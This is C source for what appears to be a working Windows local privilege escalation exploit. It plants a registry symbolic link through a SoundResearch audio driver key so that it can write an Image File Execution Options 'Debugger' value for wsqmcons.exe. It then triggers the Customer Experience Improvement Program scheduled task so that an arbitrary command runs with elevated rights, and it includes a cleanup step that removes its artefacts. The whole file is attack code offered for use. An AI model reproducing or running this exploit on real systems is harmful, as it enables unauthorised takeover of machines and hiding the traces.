#define WINVER 0x0600
#define _WIN32_WINNT 0x0600

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>

#include <windows.h>

#define SOUNDRESEARCH_KEY L"Software\\SoundResearch\\APO"
#define IFEO_KEY L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wsqmcons.exe"

#define REGLINK_TARGET L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wsqmcons.exe"

#define REG_SYMLINK_VALUE L"SymbolicLinkValue"

extern NTSTATUS WINAPI NtDeleteKey(HANDLE KeyHandle);

BOOL prepare(void)
{
    wchar_t* linkstr = REGLINK_TARGET;
    HKEY hlink = NULL;

    RegDeleteTreeW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY);

    if(!RegCreateKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, 0, NULL, REG_OPTION_CREATE_LINK, KEY_WRITE | KEY_READ, NULL, &hlink, NULL))
    {
        RegSetValueExW(hlink, REG_SYMLINK_VALUE, 0, REG_LINK, (void*)linkstr, wcslen(linkstr) * sizeof(wchar_t));
        RegCloseKey(hlink);
        return TRUE;
    }
    return FALSE;
}

BOOL exploit(char* cmdline)
{
    BOOL ret = FALSE;
    HKEY key = NULL;
    char debugger[1536];
    char path[MAX_PATH];

    if(strlen(cmdline) > 1024)
    {
        return FALSE;
    }
    if(!GetModuleFileNameA(NULL, path, MAX_PATH))
    {
        return FALSE;
    }
    sprintf(debugger, "\"%s\" run \"%s\"", path, cmdline);
    if(!RegOpenKeyExW(HKEY_LOCAL_MACHINE, IFEO_KEY, 0, KEY_SET_VALUE, &key))
    {
        if(!RegSetValueExA(key, "Debugger", 0, REG_SZ, (const BYTE*)debugger, (DWORD)strlen(debugger) + sizeof(char)))
        {
            system("schtasks.exe /end /tn \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" >nul");
            if(!system("schtasks.exe /run /tn \"\\Microsoft\\Windows\\Customer Experience Improvement Program\\Consolidator\" /I >nul"))
            {
                ret = TRUE;
            }
        }
        RegCloseKey(key);
    }
    return ret;
}

void run(char* cmdline)
{
    system(cmdline);
}

void cleanup(void)
{
    HKEY hlink = NULL;

    if(!RegOpenKeyExW(HKEY_LOCAL_MACHINE, SOUNDRESEARCH_KEY, REG_OPTION_OPEN_LINK, DELETE, &hlink))
    {
        NtDeleteKey(hlink);
        RegCloseKey(hlink);
    }

    RegDeleteTreeW(HKEY_LOCAL_MACHINE, IFEO_KEY);
}

int main(int argc, char** argv)
{
    if(argc < 2)
    {
        printf("Usage: %s [prepare|exploit|run|cleanup] \"{command line (exploit|run)}\"\n", argv[0]);
        return 1;
    }
    if(!strcmp(argv[1], "cleanup"))
    {
        printf("Cleanup exploit artefacts ...\n");
        cleanup();
        return 0;
    }
    else if(!strcmp(argv[1], "prepare"))
    {
        printf("Prepare exploit...\n");
        if(!prepare())
        {
            printf("Symlink creation failed!\n");
           return 1;
        }
        printf("Symlink created! Now restart the machine or \"SECOMNService\" service!\n");
        return 0;
    }
    else if(!strcmp(argv[1], "exploit"))
    {
        if(argc < 3)
        {
            printf("exploit parameter requires an extra command line argument!\n");
            return 1;
        }
        printf("Set debugger value for HKLM\\%ls ...\n", IFEO_KEY);
        if(!exploit(argv[2]))
        {
            printf("Failed to run the exploit! Check the permissions!\n");
            return 1;
        }
        printf("Exploit successful! Queue command: \"%s\"\n", argv[2]);
        return 0;
    }
    else if(!strcmp(argv[1], "run"))
    {
        if(argc < 3)
        {
            printf("run parameter requires an extra command line argument!\n");
            return 1;
        }
        printf("Run command: \"%s\"\n", argv[2]);
        run(argv[2]);
        return 0;
    }
    printf("Command \"%s\" not known. Use prepare, exploit, run or cleanup!\n");
    return 1;
}